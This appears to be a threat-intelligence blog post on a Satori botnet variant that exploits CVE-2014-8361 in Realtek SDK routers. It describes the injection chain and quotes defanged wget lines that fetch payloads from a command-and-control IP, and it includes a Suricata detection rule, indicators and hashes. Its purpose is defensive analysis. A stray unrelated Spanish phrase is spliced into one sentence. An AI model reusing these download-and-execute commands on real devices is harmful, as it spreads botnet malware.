The Satori Botnet, a successor of Mirai, has continuously infected vulnerable devices since its launch late last year. There has recently been a flurry of of activity around this botnet: the botnet author was potentially identified, some C2 Infrastructure was taken down, and variants began attacking Ethereum Mining Rigs. The activity described cursos online de diseño in this post is focused on a Satori variant which uses a number of different infection methods, including exploitation of CVE-2014-8361, to spread. Interestingly, this variant chooses targets and operates at a pace that suggests it may be attempting to avoid detection. Our telemetry on these attacks also indicates a particular focus on infecting devices in China.
February 2018 Attacks
Following reports of Satori related attacks targeting ethereum mining hosts, we observed samples showing the attacker(s) attempting to exploit CVE-2014-8361 in Realtek SDK-based devices. For context on and comparison to other variants, I recommend reading “IoT Malware Evolves to Harvest Bots by Exploiting a Zero-day Home Router Vulnerability" from our colleagues at Palo Alto Networks Unit 42.
CVE-2014-8361 Infection Process
The process begins with an inbound HTTP POST request to port 52869. The command injection vulnerability (CVE-2014-8361) is used to perform multiple actions using SOAP. First, the working directory is changed to /var. Next, wget is used to download the file “b” from a remote host and save it under the name “s.”. Lastly, the file is executed with “sh s”.
Figure 1: HTTP POST Request executing CVE-2014-8361
Taking a look at the “b” file allows us to make more sense of the attack process and begin linking it to Satori. As previously mentioned, the file is a shell script. The script first defines a handful of variables, including a list of names (line 3), a download server (line 4), a string called run (line 5), and various directory paths (line 6).
Next the script will run through two loops in order to clean up temporary files (lines 8-11), and then begin downloading and executing the primary malware (lines 12-20). First it will write busybox’s shell to $run and truncate it (line 15/16). Next it will change permissions for $run (line 17). At this point the loop writes the wget results to $run and then executes it again (lines 18/19). The wget request is modified at each loop with a new selection from the names list. Our working theory is that the odd behavior in this for loop (lines 13-20) is for working around potential permission issues on various victim devices.
Figure 2: Malware download and execution script
In the above sample script, the wget requests are as follows:
wget hXXp://185.62.188.88/mips.satori
wget hXXp://185.62.188.88/mipsel.satori
wget hXXp://185.62.188.88/arm7.satori
wget hXXp://185.62.188.88/arm.satori
wget hXXp://185.62.188.88/arm4.satori
(excluding brackets)
At this point, the device is infected by Satori and will begin performing the variant’s defined activities, such as continuing to scan and spread outbound or a variety of variant specific actions.
Detection and Indicators
If you would like to automate the intake of these detections, please see our GitHub Detections repository.
Suricata IDS signature:
One of the wider rules from a previous post can be used to detect this inbound RCE attempt:
- alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"401TRG Generic Webshell Request - POST with wget in body"; flow:established,to_server; content:"wget"; nocase; http_client_body; content:"http"; nocase; http_client_body; within:11; threshold:type limit, track by_src, seconds 3600, count 1; classtype:web-application-attack; sid:600052; rev:1;)
Note: This rule is already under SID 2024930 in the ETOpen Ruleset from the previous post.
C2:
- 185.62.188[.]88
MD5 File Hashes:
- 37ecaa468199aa4e889f667dbf4443c4 - mips.satori
- 09719d82730f3f8ce12ccbd75dd93845 - mipsel.satori
- 9fc1370640c0089702e9af9114754ad4 - arm7.satori
- D7e12cace51941af2fdc7acb4891d3c2 - arm.satori
- Af70854a74aed2fe28dc81b2549ca679 - arm64.satori